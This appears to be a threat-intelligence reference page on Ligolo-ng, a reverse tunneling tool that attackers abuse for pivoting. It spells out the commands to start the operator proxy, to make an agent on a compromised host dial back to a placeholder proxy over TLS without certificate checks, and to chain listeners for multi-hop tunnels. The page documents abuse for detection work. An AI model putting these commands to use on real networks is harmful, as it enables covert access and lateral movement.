.. /Ligolo-ng
Star

Access

Ligolo-ng is a self-hosted, lightweight tunneling tool that establishes a tunnel from a reverse TCP/TLS connection using a userland TUN interface (gVisor network stack), giving transparent Layer-3 access to a target network without a SOCKS proxy or SSH forwarding chain. A proxy runs on the operator side and a small agent runs on the compromised host, so there is no vendor domain to block. It is heavily abused for pivoting and lateral movement, observed with Medusa ransomware, MuddyWater and DoNot Team, among others.

Paths:

Resources:

Detections:

Access

  1. Starts the operator-controlled Ligolo-ng proxy/listener with a self-signed certificate, waiting for agents to connect back (default TLS listener on 11601).

    ./proxy -selfcert
    Use case
    Standing up the tunnel endpoint that compromised hosts connect back to.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  2. Runs the agent on a compromised host, dialing back to the operator's proxy over TLS (ignoring the self-signed certificate) to establish the reverse tunnel.

    ./agent -connect <PROXY>:11601 -ignore-cert
    Use case
    Establishing a Layer-3 pivot from inside the target network back to the operator.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  3. From the proxy console, binds a listening port on the compromised agent and forwards inbound connections to a chosen address, enabling multi-hop pivoting and reverse port forwarding.

    listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
    Use case
    Chaining tunnels through multiple networks or exposing an internal service to the operator.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS